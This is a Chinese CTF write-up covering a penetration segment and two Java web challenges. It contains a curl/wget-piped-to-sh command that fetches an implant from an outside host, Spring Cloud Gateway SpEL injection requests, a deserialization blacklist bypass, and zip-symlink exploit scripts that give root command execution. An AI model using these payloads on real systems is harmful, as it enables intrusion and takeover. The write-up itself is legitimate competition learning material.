ISW
192.168.7.8
出了一个入口机的flag,当时也不知道怎么进入admin.php的,莫名其妙就能进了
'default_admin' => [
'username' => 'admin',
'password' => 'Io5gyiIw79bNC',
],
预期解法应该是扫描目录得到data.sqlite这个数据库文件拿到管理员帐密
登陆后就是一个简单的文件上传,蚁剑连接后上线vshell
(curl -fsSL -m180 http://10.11.116.99:9001/slt||wget -T180 -q
http://10.11.116.99:9001/slt)|sh
可以看到根目录下有个f1ag
cmsapp@dmz-cms:/tmp$ find . -exec cat /f1ag \;
flag1: flag{faafcf92d6744ba293479c80fd600be8}
上传fscan扫描内网
cmsapp@dmz-cms:/tmp$ cat result.txt
192.168.7.83:8092 open
192.168.7.8:80 open
192.168.7.51:80 open
192.168.7.128:22 open
192.168.7.51:22 open
192.168.7.83:22 open
192.168.7.8:22 open
192.168.7.13:22 open
192.168.7.83:21 open
[*] WebTitle http://192.168.7.8 code:200 len:6510 title:首页 | 华讯内容管理系统
[*] WebTitle http://192.168.7.51 code:200 len:595 title:Directory listing for /
[+] InfoScan http://192.168.7.51 [目录遍历]
[*] WebTitle http://192.168.7.83:8092 code:404 len:282 title:None
10.11.136.193:22 open
10.11.136.195:80 open
10.11.136.195:22 open
[*] WebTitle http://10.11.136.195 code:200 len:6510 title:首页 | 华讯内容管理系统
这个192.168.7.8就是入口机,192.168.7.51是一个pwn题目,192.168.7.83是一个springboot,ftp弱密码连接可以拿到一个app.jar,但是比赛时候没分析出来
192.168.7.83
Yakit扫描得到ftp弱密码,Xftp连接拿到一个app.jar
jadx分析
这是一个基于 Spring Boot 3.x 和 Spring Cloud 2025.x 的 API 网关服务
分析了这么些jar包,习惯性的先找pom.xml和application.yml
management:
endpoints:
web:
exposure:
include: gateway
endpoint:
gateway:
access: unrestricted
注意到这里unrestricted,意味着允许这个端点的全部操作,这就是我们可以利用的点
Allow里面有POST,说明 Gateway Actuator 可写
确认可刷新,
关闭限制性属性访问器
POST /actuator/gateway/routes/s1 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 473
{
"id":"s1",
"uri":"http://127.0.0.1:8092",
"predicates":[
{
"name":"Path",
"args":{"_genkey_0":"/s1/**"}
}
],
"filters":[
{
"name":"SetPath",
"args":{"_genkey_0":"/actuator"}
},
{
"name":"AddResponseHeader",
"args":{
"name":"X-Out",
"value":"#{@systemProperties['spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled']='false'}"
}
}
]
}
返回201
改目录
将资源目录,改成系统根目录,这样访问文件时访问的是根目录
POST /actuator/gateway/routes/s2 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 443
{
"id":"s2",
"uri":"http://127.0.0.1:8092",
"predicates":[
{
"name":"Path",
"args":{"_genkey_0":"/s2/**"}
}
],
"filters":[
{
"name":"SetPath",
"args":{"_genkey_0":"/actuator"}
},
{
"name":"AddResponseHeader",
"args":{
"name":"X-Out",
"value":"#{@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:/'}"
}
}
]
}
返回201
重新初始化
POST /actuator/gateway/routes/s3 HTTP/1.1
Host: 127.0.0.1:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Connection: close
Content-Length: 443
{
"id":"s3",
"uri":"http://127.0.0.1:8092",
"predicates":[
{
"name":"Path",
"args":{"_genkey_0":"/s3/**"}
}
],
"filters":[
{
"name":"SetPath",
"args":{"_genkey_0":"/actuator"}
},
{
"name":"AddResponseHeader",
"args":{
"name":"X-Out",
"value":"#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet ?: 'ok'}"
}
}
]
}
刷新后访问文件
D:\desktop\work_place\Web>curl.exe -i -X POST http://127.0.0.1:8092/actuator/gateway/refresh
HTTP/1.1 200 OK
content-length: 0
可以看到返回200,说明刷新成功,然后依次验证三条路由是否写入
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s1
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: false
{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s2
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: file:/
{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/s3
HTTP/1.1 200 OK
Content-Type: application/vnd.spring-boot.actuator.v3+json
Content-Length: 157
X-Out: ok
{"_links":{"self":{"href":"http://127.0.0.1:8092/actuator","templated":false},"gateway":{"href":"http://127.0.0.1:8092/actuator/gateway","templated":false}}}
看到X-Out: false、X-Out: file:/、X-Out: ok即可
访问文件即可
D:\desktop\work_place\Web>curl.exe -i http://127.0.0.1:8092/webjars/etc/passwd
HTTP/1.1 200 OK
Last-Modified: Thu, 30 Apr 2026 09:36:42 GMT
Content-Length: 1422
Content-Type: application/octet-stream
Accept-Ranges: bytes
root:x:0:0:root:/root:/bin/bash
...
实战应该就是通过这种拿配置文件,然后看能不能拿ssh密钥获得shell继续横向
web(本地复现分析)
JavaUnbound
题目:真的不是很难,绕过一下就可以了
打开浏览器回显hello world,给了jar包,jadx分析一下
SecurityConfig
//BOOT-INF/classes/com/ezjava/config/SecurityConfig.class
@Configuration
public class SecurityConfig {
@PostConstruct
//在依赖注入完成后、类正式投入使用前自动执行一次
public void init() {
System.setSecurityManager(new CustomSecurityManager());
//设置全局的安全管理器
}
}
CustomSecurityManager
//BOOT-INF/classes/com/ezjava/config/CustomSecurityManager.class
public class CustomSecurityManager extends SecurityManager {
@Override // java.lang.SecurityManager
//重写检查网络连接的方法
public void checkConnect(String host, int port, Object context) {
try {
InetAddress addr = InetAddress.getByName(host);// 解析主机名
if (!addr.isLoopbackAddress()) {// 判断是否为回环地址
throw new SecurityException("Network access denied: " + host + ":" + port);
// 不是本地地址就报错
}
} catch (Exception e) {
throw new SecurityException("Network access denied: " + host + ":" + port);
// 解析失败也报错
}
}
}
禁止该程序访问除本地回环地址(127.0.0.1)以外的所有网络连接
访问本地文件没有专门拦截,但是禁止访问外部网站,那么就不能进行DNSLog、外带 HTTP 请求、连外网回显、反弹 shell 到外部 VPS这种了
HelloController
//BOOT-INF/classes/com/ezjava/controller/HelloController.class
@RestController
public class HelloController {
@GetMapping({"/"})
public String hello() {
return "hello world";
}
@PostMapping({"/"})
public String deserialize(@RequestBody byte[] data) {//整个 body 按原始字节接收成 byte[] data
try {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
//把客户端传来的原始字节,当作一个文件来读
ObjectInputStream ois = new SafeObjectInputStream(bais);
//SafeObjectInputStream这里做了防护
ois.readObject();
ois.close();
return "deserialization success";
//反序列化成功,不一定有命令执行回显
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
可以看到这里有deserialize,可以打反序列化链
SafeObjectInputStream
看一下它的这个防护
//BOOT-INF/classes/com/ezjava/utils/SafeObjectInputStream.class
public class SafeObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = {"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet", "javax.management.remote.rmi.RMIConnector"};
public SafeObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
//重写 resolveClass,出现黑名单类 → 直接抛异常
String className = desc.getName();
for (String forbiddenPackage : blacklist) {
if (className.startsWith(forbiddenPackage)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
}
定义了一个黑名单,想拦经典危险类
private static final String[] blacklist = {
"java.lang.Runtime",
"java.lang.ProcessBuilder",
//命令执行
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.security.SignedObject",
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",
"javax.management.remote.rmi.RMIConnector"
//常见包装或远程触发点
};
1.直接执行命令类。 Java 执行系统命令的最直接方式
java.lang.Runtime
java.lang.ProcessBuilder
2.字节码加载与动态注入
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
TemplatesImpl 允许通过 _bytecodes 属性传入十六进制的类字节码。一旦被触发,它会加载并实例化攻击者传入的任意恶意 Java 类
AbstractTranslet 通常是攻击类需要继承的父类,所以也被一起封杀了
3.二次反序列化与绕过
java.security.SignedObject
它本质上是一个“包装盒”,可以把另一个对象序列化后封存在里面。
常利用它来绕过某些基于黑名单的 ObjectInputStream 检查:因为 SignedObject 在被调用 getObject() 时,内部会开启一个新的 ObjectInputStream 进行二次反序列化,如果只检查了第一层,就会被它绕过去。
4.远程调用与 JNDI 注入
javax.management.remote.rmi.RMIConnector
可以触发 lookup 操作,引导服务器去请求一个远程的恶意恶意地,从而加载外部的恶意代码。
pom.xml
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
可以打CommonsCollections3(CC3)链,注意黑名单是过滤了TemplatesImpl了的,所以在java-chains里面得用CommonsCollectionsK3(CC3.2.1 ChainedTransformer 链)
Yakit请求包一:
POST / HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-User: ?1
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: none
Content-Type: application/json
返回:
HTTP/1.1 200
Content-Type: text/html; charset=UTF-8
Date: Thu, 07 May 2026 16:44:42 GMT
Content-Length: 23
deserialization success
说明反序列化成功了,不过没有回显,用JegGadget(调用 Jeg 生成回显字节码)
Yakit请求包二:
POST / HTTP/1.1
Host: 127.0.0.1:8080
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Fetch-Dest: document
Cache-Control: no-cache
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Pragma: no-cache
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
X-Authorization: pwd
Content-Type: application/octet-stream
命令执行的地方在:
X-Authorization: pwd
这里的Content-Type要修改,本地测试的application/octet-stream和application/json是可行的
回显:
HTTP/1.1 200
Date: Thu, 07 May 2026 16:47:33 GMT
Content-Length: 5
/app
ThemeSync
环境搭建
本地跑附件源码,提前放一个flag在flags目录下
wolf@wolf:~/ctf/web/ThemeSync/docker/files$ cd flag
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ ls
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ echo 'flag{local_test}' > flag.txt
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ ls
flag.txt
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ cat flag.txt
flag{local_test}
wolf@wolf:~/ctf/web/ThemeSync/docker/files/flag$ cd ..
wolf@wolf:~/ctf/web/ThemeSync/docker/files$ cd ..
wolf@wolf:~/ctf/web/ThemeSync/docker$ docker compose up --build
[+] Building 101.7s (14/14) FINISHED
......
主题包上传服务 ,首页返回了一些接口,有些接口直接访问有鉴权,后续要对jar包进行分析
绕过鉴权
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String requestPath = request.getRequestURI();
if (!requestPath.startsWith(PROTECTED_PREFIX)) {
filterChain.doFilter(request, response);
//PROTECTED_PREFIX就是/api/v2/preview/,如果路由开头不是/api/v2/preview/,就直接放行
} else if (this.authPattern.matcher(buildAuthCandidate(request)).matches()) {
filterChain.doFilter(request, response);
} else {
response.setStatus(403);
response.getWriter().write("blocked by regex auth");
}
}
看到这一句:
this.authPattern.matcher(buildAuthCandidate(request)).matches()
将我们的请求在this.authPattern这个正则前匹配,匹配成功就放行,不然就报403
这时候去找这个正则匹配,在BOOT-INF/classes/application.yml
server:
port: 8080
spring:
servlet:
multipart:
max-file-size: 20MB
max-request-size: 20MB
challenge:
auth-pattern: "^/api/v2/preview/[A-Za-z]+.*?/download$"
workspace-root: "/tmp/ez-nginx/imports"
reload-script: "/usr/local/bin/reload-nginx.sh"
dynamic-config-path: "/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf"
^ (匹配行首
/api/v2/preview/ 请求以这个路径开头
[A-Za-z]+匹配任何大写或小写的英文字母且至少出现一次
.\*?
. 代表匹配除换行符以外的任意字符。
* 代表前面的字符可以出现0次或无数次。
? 开启“懒惰模式”
/download$ 保证 /download 必须是整个字符串的最后部分
buildAuthCandidate(request)这个会将整个请求路径都带进去匹配,包括参数
private String buildAuthCandidate(HttpServletRequest request) {
String query = request.getQueryString();//获取参数
if (query == null || query.isEmpty()) {
return request.getRequestURI();
}
return request.getRequestURI() + CallerData.NA + query;
//CallerData.NA是?,拼接url和请求参数
}
那么在正则匹配过了之后,spring mvc获取路由的时候url和参数是分开的,那这个时候就能通过这个差异绕过了这个鉴权,只要保证结尾是/download即可,比如
C:\Users\Admin>curl http://127.0.0.1:8888/api/v2/preview/admin/sync/job
blocked by regex auth
C:\Users\Admin>curl http://127.0.0.1:8888/api/v2/preview/admin/sync/job?x=/download
{"workspace":"/tmp/ez-nginx/imports","targetConfig":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","field":"package","lastOperator":"ops-bot"}
C:\Users\Admin>
现在可以确定鉴权能绕过,上传字段名是 package,工作目录是 /tmp/ez-nginx/imports
上传分析
找一下文件上传的逻辑
@PostMapping(value = {"/api/v2/preview/admin/sync/upload"}, consumes = {"multipart/form-data"})
public ImportResult sync(@RequestPart("package") MultipartFile packageFile) throws IOException {
return this.themePackageService.accept(packageFile);
}
上传点在/api/v2/preview/admin/sync/upload,用POST方式,格式为multipart/form-data,表单命名为package
分析一下这个上传具体逻辑:
/* JADX INFO: loaded from: ez-nginx.jar:BOOT-INF/classes/com/example/eznginx/service/ThemePackageServiceImpl.class */
@Service
public class ThemePackageServiceImpl implements ThemePackageService {
//对ThemePackageService的具体实现,可以看到accept实现的具体逻辑
private static final String IMPORT_PREFIX = "import-";
private static final String ARCHIVE_NAME = "package.zip";
private static final String EXTRACT_DIR_NAME = "unpacked";
private static final String ZIP_SUFFIX = ".zip";
private final ChallengeProperties properties;
private final RuntimeConfigService runtimeConfigService;
public ThemePackageServiceImpl(ChallengeProperties properties, RuntimeConfigService runtimeConfigService) {
this.properties = properties;
this.runtimeConfigService = runtimeConfigService;
}
//依赖注入
@Override // com.example.eznginx.service.ThemePackageService
public ImportResult accept(MultipartFile file) throws IOException {
validateArchive(file);
Path workspaceRoot = ensureDirectory(Paths.get(this.properties.getWorkspaceRoot(), new String[0]));
Path sessionRoot = Files.createTempDirectory(workspaceRoot, IMPORT_PREFIX, new FileAttribute[0]);
Path archivePath = storeArchive(file, sessionRoot);
Path extractRoot = ensureDirectory(sessionRoot.resolve(EXTRACT_DIR_NAME));
extractArchive(archivePath, extractRoot);
this.runtimeConfigService.refresh();
//刷新配置
return new ImportResult(sessionRoot.toString(), this.properties.getDynamicConfigPath(), true);
}
先进行一次validateArchive(file)检验
private void validateArchive(MultipartFile archive) {
String filename = archive.getOriginalFilename();//获取原始名称
if (archive.isEmpty() || filename == null || !filename.endsWith(ZIP_SUFFIX)) {
//压缩包不能为空,文件名不能为空,后缀要是zip
throw new IllegalArgumentException("package must be a non-empty zip file");
}
}
确保/tmp/ez-nginx/imports目录存在,不存在就创建
Path workspaceRoot = ensureDirectory(Paths.get(this.properties.getWorkspaceRoot(), new String[0]));
创建临时会话目录,在/tmp/ez-nginx/imports下,前缀为import-,例如得到/tmp/ez-nginx/imports/import-1234567890这样的目录
Path sessionRoot = Files.createTempDirectory(workspaceRoot, IMPORT_PREFIX, new FileAttribute[0]);
然后就是讲上传内容保存到刚刚临时目录下的package.zip内,这里仅仅只是做保存,未作防护
Path archivePath = storeArchive(file, sessionRoot);
然后是确定解压目录,在刚刚临时目录下的unpacked文件夹内
Path extractRoot = ensureDirectory(sessionRoot.resolve(EXTRACT_DIR_NAME));
再将刚刚村的package.zip解压到刚刚创建的解压目录下
extractArchive(archivePath, extractRoot);
这里我们看一下extractArchive的逻辑
private void extractArchive(Path archivePath, Path extractRoot) throws IOException {
ZipFile zipFile = new ZipFile(archivePath.toFile());
try {
Enumeration<ZipArchiveEntry> entries = zipFile.getEntries();
while (entries.hasMoreElements()) {
ZipArchiveEntry entry = entries.nextElement();
extractEntry(zipFile, entry, extractRoot);
}
zipFile.close();
} catch (Throwable th) {
try {
zipFile.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
throw th;
}
}
遍历这个压缩包里面的每一个条目,用extractEntry方法处理,这种方式是很危险的,看一下extractEntry的逻辑就知道了
private void extractEntry(ZipFile zipFile, ZipArchiveEntry entry, Path extractRoot) throws IOException {
Path outputPath = resolveOutputPath(extractRoot, entry.getName());
if (entry.isDirectory()) {
ensureDirectory(outputPath);
} else if (entry.isUnixSymlink()) {
writeSymlink(zipFile, entry, outputPath);
} else {
writeRegularFile(zipFile, entry, outputPath);
}
}
private void writeSymlink(ZipFile zipFile, ZipArchiveEntry entry, Path outputPath) throws IOException {
createParent(outputPath);
Files.deleteIfExists(outputPath);
String symlinkTarget = readSymlinkTarget(zipFile, entry);
Files.createSymbolicLink(outputPath, Paths.get(symlinkTarget, new String[0]), new FileAttribute[0]);
}
private Path resolveOutputPath(Path extractRoot, String entryName) throws IOException {
Path outputPath = extractRoot.resolve(entryName).normalize();//路径脱水,防止路径穿越
if (!outputPath.startsWith(extractRoot)) {
throw new IOException("illegal archive entry: " + entryName);
}
return outputPath;
}
这里是漏洞核心位置,虽然防止了路径穿越,但是主要的点在entry.isUnixSymlink()这
对于正常的目录和文件会直接创建或写在硬盘上,如果属性是symlink的话,就会在磁盘创建一个软链接,
如果此时在这个symlink 目录下再写入别的条目,那么在前面已经创建了恶意软链接,那么就可以做到将文件写入其他目录,或者覆盖原文件
漏洞利用
此时知道了怎么做,现在开始实操,我们最开始首页就暴露了上传接口,后续分析jar包后可以实现绕过鉴权
创建一个验证exp:
import zipfile
from stat import S_IFLNK
payload = b'''location = /inspect {
default_type text/plain;
return 200 "probe_ok\\n";
}
'''
with zipfile.ZipFile("probe.zip", "w") as z:
# 1. 创建一个 symlink 条目:x -> /usr/local/openresty/nginx/conf/snippets
zi = zipfile.ZipInfo("x")
zi.create_system = 3 # 标记为 Unix 系统
zi.external_attr = ((S_IFLNK | 0o777) << 16) # 设置为软链接权限
z.writestr(zi, "/usr/local/openresty/nginx/conf/snippets")
# 2. 创建一个普通文件条目:x/ez-dynamic.conf
zi = zipfile.ZipInfo("x/ez-dynamic.conf")
zi.create_system = 3
zi.external_attr = (0o644 << 16)
z.writestr(zi, payload)
print("probe.zip generated")
在这个压缩包的同目录打开cmd
D:\desktop\work_place\Web>curl -F "package=@probe.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-8083481565290392883","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
probe_ok
可以看到reload成功:”reloaded”:true
上传恶意命令exp之前我们分析一下附件里面给的一个c文件,SUID程序
#include <stdio.h>
#include <unistd.h>
int main(void) {
char *const argv[] = {"service-check", "status", NULL};
if (setgid(0) != 0 || setuid(0) != 0) {
perror("setuid");
return 1;
}//确保是root权限
execvp(argv[0], argv);
//p表示从环境变量找命令,就是说执行的service-check命令会从PATH找
perror("execvp");
return 1;
}
那我们现在可以通过创建软链接来劫持这个SUID程序
import zipfile
from stat import S_IFLNK
#Lua注入
#content_by_lua_block:OpenResty 的核心指令,允许直接在 Nginx 处理请求的过程中运行 Lua 代码
#PATH=. /usr/local/bin/ops-helper空格连接仅仅临时修改环境
nginx_snippet = r'''location = /inspect {
default_type text/plain;
content_by_lua_block {
local f = io.popen("cd /tmp/ez-nginx/imports && PATH=. /usr/local/bin/ops-helper 2>&1")
local data = f:read("*a")
f:close()
ngx.say(data)
}
}
'''
with zipfile.ZipFile("solve.zip", "w") as z:
# x -> nginx snippets
zi = zipfile.ZipInfo("x")
zi.create_system = 3
zi.external_attr = ((S_IFLNK | 0o777) << 16)
z.writestr(zi, "/usr/local/openresty/nginx/conf/snippets")
# 覆盖 ez-dynamic.conf
zi = zipfile.ZipInfo("x/ez-dynamic.conf")
zi.create_system = 3
zi.external_attr = (0o644 << 16)
z.writestr(zi, nginx_snippet)
# y -> /tmp/ez-nginx/imports
zi = zipfile.ZipInfo("y")
zi.create_system = 3
zi.external_attr = ((S_IFLNK | 0o777) << 16)
z.writestr(zi, "/tmp/ez-nginx/imports")
# y/service-check -> /bin/sh
zi = zipfile.ZipInfo("y/service-check")
zi.create_system = 3
zi.external_attr = ((S_IFLNK | 0o777) << 16)
z.writestr(zi, "/bin/sh")
# y/status
zi = zipfile.ZipInfo("y/status")
zi.create_system = 3
zi.external_attr = (0o644 << 16)
z.writestr(zi, "/bin/cat /flag.txt\n")
print("solve.zip generated")
运行
D:\desktop\work_place\Web>curl -F "package=@solve.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-7546730134644676064","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
flag{local_test}
因为是root权限执行,所以也可以换成其他命令,比如换成z.writestr(zi, "/bin/id\n")
D:\desktop\work_place\Web>curl -F "package=@solve.zip;type=application/zip" "http://127.0.0.1:8888/api/v2/preview/admin/sync/upload?x=/download"
{"extractedTo":"/tmp/ez-nginx/imports/import-3496373560110929912","dynamicConfigPath":"/usr/local/openresty/nginx/conf/snippets/ez-dynamic.conf","reloaded":true}
D:\desktop\work_place\Web>curl http://127.0.0.1:8888/inspect
uid=0(root) gid=0(root) groups=0(root),998(nginxuser)
总结
福州挺有意思的,虽然没怎么逛,不过吃了很多,尽管学校一分钱也没报销,没招了,自己出钱坐高铁去
高铁站看热闹,pwn✌瞎拍照还被安保人员盯上了,谁能绷住。。。
住的比赛协议酒店,以为有温泉的,结果没有。真是次奥了
酒店离赛场还有30公里,早上六点就起来了
比赛居然不是准点开始,领导们讲话讲了挺久,平台还死机了十来分钟
比赛手册说的是9点开始,快十点了才看到题目,不过后面推迟了结束时间,倒也没毛
本来以为要跟去年一样出flask的,结果出了一堆JAVA,吃大亏了,还好有大手子队友。
后面安心准备考公了,继续加油了











